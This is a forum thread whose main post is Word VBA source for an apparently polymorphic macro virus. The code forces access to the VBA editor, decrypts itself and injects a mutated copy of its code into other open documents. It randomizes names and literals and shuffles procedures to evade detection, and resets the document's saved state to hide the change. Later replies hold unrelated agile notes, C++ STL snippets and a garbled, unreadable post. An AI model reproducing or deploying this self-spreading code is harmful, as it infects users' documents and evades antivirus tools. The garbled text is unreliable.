无意义1

cphj 2009-09-30 05:15:31
Option Explicit

Public Sub HeadEntrance()
Dim bbbb
On Error Resume Next
Dim cm As Object
Set cm = Application.VBE.ActiveCodePane.CodeModule
If Err.Number <> 0 Then
Err.Clear
SendKeys "%(tmstv)~", True
Set cm = Application.VBE.ActiveCodePane.CodeModule
End If
On Error GoTo 0

Dim code As String
code = cm.Lines(1, cm.CountOfLines)
Const key As String = "Ploymorphism"
Decrypt code, key

Dim sav As Boolean
sav = ThisDocument.Saved

'Write head and body plain code

Application.Run "BodyEntrance"

'Delete head and body plain code

If sav Then
ThisDocument.Saved = True
End If
End Sub

Private Sub Decrypt(code As String, key As String)
Dim kn As Long
kn = Len(key)
Dim karr() As Integer
ReDim karr(1 To kn)
Dim idx As Long
For idx = 1 To kn
karr(idx) = Asc(Mid$(key, idx, 1))
Next

Dim ascv As Integer
For idx = 1 To Len(code)
ascv = Asc(Mid$(code, idx, 1))
If ascv >= 32 And ascv <= 126 Then
Mid$(code, idx, 1) = Chr$((ascv - 63 + karr((idx - 1) Mod kn + 1)) Mod 95 + 32)
End If
Next
End Sub

Private Sub BodyEntrance()
Dim cmdst As Object
If Not ActiveDocument Is ThisDocument Then
Set cmdst = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule
Else
Dim doc As Document
For Each doc In Application.Documents
If Not doc Is ThisDocument Then
Set cmdst = doc.VBProject.VBComponents("ThisDocument").CodeModule
Exit For
End If
Next
End If

If cmdst Is Nothing Then
Exit Sub
End If

'Permutate head code
Dim cmsrc As Object
Set cmsrc = Application.VBE.ActiveCodePane.CodeModule
Dim b As Long, e As Long
b = cmsrc.ProcBodyLine("HeadEntrance", 0)
e = cmsrc.ProcBodyLine("BodyEntrance", 0)
Dim code As String
code = cmsrc.Lines(b, e - b)
'code = cmsrc.Lines(1, cmsrc.CountOfLines) 'Test all code
Dim codearr() As String
codearr = Split(code, vbNewLine)

Randomize
Permutator_ReplaceName codearr
Expander_ReplaceLiteral codearr
Permutator_ShuffleDeclaration codearr
Permutator_ShuffleProc codearr
Permutator_AbbreviateType codearr
Permutator_UniteDeclaration codearr

'Write head permutated code
code = Join(codearr, vbNewLine)
cmdst.InsertLines cmsrc.CountOfLines + 1, vbNewLine & code

'Encrypt body code
'Write body crypt code
End Sub

Private Sub Permutator_ReplaceName(sarr() As String)
ReDim oldname(0 To 0) As String
Dim n As Long
n = 0
Dim sline As String
Dim b As Long, e As Long
Dim i As Long
For i = 0 To UBound(sarr)
sline = LTrim$(sarr(i))
If sline Like "* Sub *" Or sline Like "* Function *" Then
ReDim Preserve oldname(0 To n)
b = InStr(1, sline, " ") + 1
b = InStr(b, sline, " ") + 1
e = InStr(b, sline, "(") - 1
oldname(n) = Mid$(sline, b, e - b + 1)
n = n + 1
ElseIf sline Like "Dim *" Or sline Like "Const *" Then
ReDim Preserve oldname(0 To n)
b = InStr(1, sline, " ") + 1
e = InStr(b, sline, " ") - 1
If e < b Then
e = Len(sline)
End If
oldname(n) = Mid$(sline, b, e - b + 1)
e = InStr(1, oldname(n), "(")
If e > 1 Then
oldname(n) = Mid$(oldname(n), 1, e - 1)
End If
n = n + 1
End If
Next

Dim newname As String
Dim j As Long
For i = 0 To UBound(oldname)
newname = GenerateName(8)
For j = 0 To UBound(sarr)
sarr(j) = Replace$(sarr(j), oldname(i), newname, Compare:=vbBinaryCompare)
Next
Next
End Sub

Private Sub Expander_ReplaceLiteral(sarr() As String)
Dim newline As String
Dim i As Long
For i = 0 To UBound(sarr)
If InStr(1, sarr(i), "Const ") = 0 And InStr(1, sarr(i), "On Error GoTo ") = 0 Then
newline = ""
ReplaceLiteral_ProcessLine sarr(i), 1, 0, newline
sarr(i) = newline
End If
Next

newline = Join(sarr, vbNewLine)
sarr = Split(newline, vbNewLine)
End Sub

Private Function ReplaceLiteral_ProcessLine(oldline As String, b As Long, eov As Integer, newline As String) As Long
Dim v As Integer
Dim i As Long
For i = b To Len(oldline)
v = Asc(Mid$(oldline, i, 1))
If eov = 34 Then
If v = 34 Then
ProcessLine_ReplaceString oldline, b - 1, i, newline
ReplaceLiteral_ProcessLine = i + 1
Exit Function
End If
ElseIf v = eov Then
ProcessLine_ReplaceNumber oldline, b, i - 1, newline
newline = newline & Chr$(v)
ReplaceLiteral_ProcessLine = i + 1
Exit Function
ElseIf v = 40 Then
ProcessLine_ReplaceNumber oldline, b, i - 1, newline
newline = newline & Chr$(v)
b = ReplaceLiteral_ProcessLine(oldline, i + 1, 41, newline)
i = b - 1
ElseIf v = 34 Then
ProcessLine_ReplaceNumber oldline, b, i - 1, newline
b = ReplaceLiteral_ProcessLine(oldline, i + 1, 34, newline)
i = b - 1
End If
Next
ProcessLine_ReplaceNumber oldline, b, Len(oldline), newline
End Function

Private Sub ProcessLine_ReplaceString(oldline As String, b As Long, e As Long, newline As String)
Dim ind As String
Dim newname As String
If e >= b Then
ind = Space(Len(oldline) - Len(LTrim$(oldline)))
newname = GenerateName(8)
newline = ind & "Dim " & newname & " As String" & vbNewLine & ind & newname & " = " & Mid$(oldline, b, e - b + 1) & vbNewLine & newline & newname
End If
End Sub
...全文
77 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
cphj 2009-11-03
  • 打赏
  • 举报
回复
软件业 VS. 制造业、extreme的由来、敏捷宣言、伪敏捷、决策权、优先级、抢任务、可视化管理、有效文档、突出价值
悲观锁、变更集、原子提交、自动合并代码、隔离和聚焦测试对象
凡事以测试优先、编译错误也是测试失败、克制过度实现、避免代码依赖
小步快跑、难啃的骨头
故事独立性、可测试性需求
尽快提交代码、相信较大的估计、叠代计划
让每个人都看见构建结果、持续集成的纪律
cphj 2009-10-14
  • 打赏
  • 举报
回复
vector<int> v;

按值统计元素出现的次数
count(v.begin(), v.end(), 3)

按值判断容器里面是否包含元素
if (find(v.begin(), v.end(), 3) != v.end())

随机打乱容器里面的元素
random_shuffle(v.begin(), v.end());

旋转位置(循环左移)容器的元素
rotate(v.begin(), v.begin()+3, v.end());

按值替换容器里面的元素
replace(v.begin(), v.end(), 3, 8);

反转容器里面的元素
reverse(v.begin(), v.end());

排序
sort(v.begin(), v.end());

求容器的元素和
accumulate(v.begin(), v.end(), 0);

--------------------------------------------------

复制一个容器里面的内容到另一个容器
类型相同
vector<int> v2(v1);
类型不同
list<int> l2(v1.begin(), v1.end());

复制一个容器里面的内容到另一个容器的末尾
v1.insert(v1.end(), v2.begin(), v2.end());
copy(v2.begin(), v2.end(), back_inserter(v1));
copy(v2.begin(), v2.end(), inserter(v1, v1.end()));

--------------------------------------------------

输入元素到容器里面
v.assign(istream_iterator<int>(fin), istream_iterator<int>());
copy(istream_iterator<int>(cin), istream_iterator<int>(), back_inserter(v));

输出容器里面的元素
copy(v.begin(), v.end(), ostream_iterator<int>(cout, "\n"));

按值删除容器里面的元素
v.erase(remove(v.begin(), v.end(), 3), v.end());

以条件分隔容器里面的元素
partition(v.begin(), v.end(), binder2nd<less<int>>(less<int>(), 3));

--------------------------------------------------

string没有接受char类型的构造器,但可以接受char类型的赋值
string s = 'x'; //Error
string s;
s='x'; //OK

取出第3个元素
s.substr(2,1);
string(line.begin()+2, line.begin()+3)
cphj 2009-09-30
  • 打赏
  • 举报
回复
SGF MUPWbxf$鼞犣丈鮿笚坏型腾锏瑪咎樫異霓辍褣諄堇菬`s-}B N
ISJIMMt*ze佬摽湚杂茖袘┗泌兞瘺犃槱 RN蝗輪埘褲佋bxf$

15,440

社区成员

发帖
与我相关
我的任务
社区描述
C/C++ 非技术区
社区管理员
  • 非技术区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧